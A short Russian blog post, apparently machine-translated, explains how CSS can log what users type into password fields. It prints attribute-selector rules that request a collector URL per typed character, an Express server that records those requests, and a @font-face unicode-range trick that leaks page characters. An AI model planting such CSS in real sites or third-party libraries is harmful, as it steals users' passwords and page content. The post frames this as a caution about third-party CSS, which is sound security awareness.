CSS-атака: регистрация паролей пользователей

внешний интерфейс сервер React.js CSS

Простой код CSS даже не соответствует полному по Тьюрингу языку, но он также может стать инструментом для некоторых злоумышленников.Нижеследующее кратко описывает, как использовать CSS для записи пароля пользователя. Однако эти CSS-скрипты будут отображаться в сторонних библиотеках CSS, поэтому необходимо соблюдать осторожность при использовании сторонних библиотек CSS для обеспечения безопасности кода.
Непосредственно на анализе кода:

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}
input[type="password"][value$="1"] { 
    background-image: url("http://localhost:3000/1"); 
}
input[type="password"][value$="2"] { 
    background-image: url("http://localhost:3000/2"); 
}

Вышечасть кода, давайте разберем код CSS
input[type="password"]это селектор css, функция состоит в том, чтобы выбрать поле ввода пароля,[value$="0"]Указывает, что совпадающее входное значение завершается 0.
так:

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}

Приведенный выше код означает, что если вы введете 0 в поле пароля, перейдите к запросуhttp://localhost:3000/0интерфейс, но браузерпо умолчаниюне сохраняет значение, введенное пользователем ватрибут значения, но некоторые фреймворки синхронизируют эти значения, напримерReact.
Таким образом, пока вы используете сценарий, как показано ниже, вы можете хранить информацию о входных данных пользователя.

Давайте еще раз посмотрим на серверный код:

const express = require("express");
const app = express();

app.get("/:key", (req, res) => {
   process.stdout.write(req.params.key);
   return res.sendStatus(400);
});

app.listen(3000, () => console.log("启动,监听3000端口"));

использоватьexpressСоздайте сервер, слушайтепорт 3000, просто запросhttp://localhost:3000/:key, вы можете вывести значение ключа,Введенное значение может быть записано на сервер.
Так что просто сопоставьте каждое введенное значение, а затем передайтеbackground-imageзапросить готовыйинтерфейс, вы можете записывать ввод пользователя.

Аналогичный подход записывает код CSS контента пользователя.

@font-face {  
   font-family: blah;  
   src: url('http://localhost:3000/a') format('woff');  
   unicode-range: U+85;
}
html {  
   font-family: blah, sans-serif;
}

CSS, который вы используете, простбиблиотека шрифтов, если ваша страница содержит a, она будет запрашиватьhttp://localhost:3000/a, так что вы можете знать, что ваша страница содержит символ.

Добро пожаловать, чтобы обратить внимание на мой публичный номер: 8:30 в передней части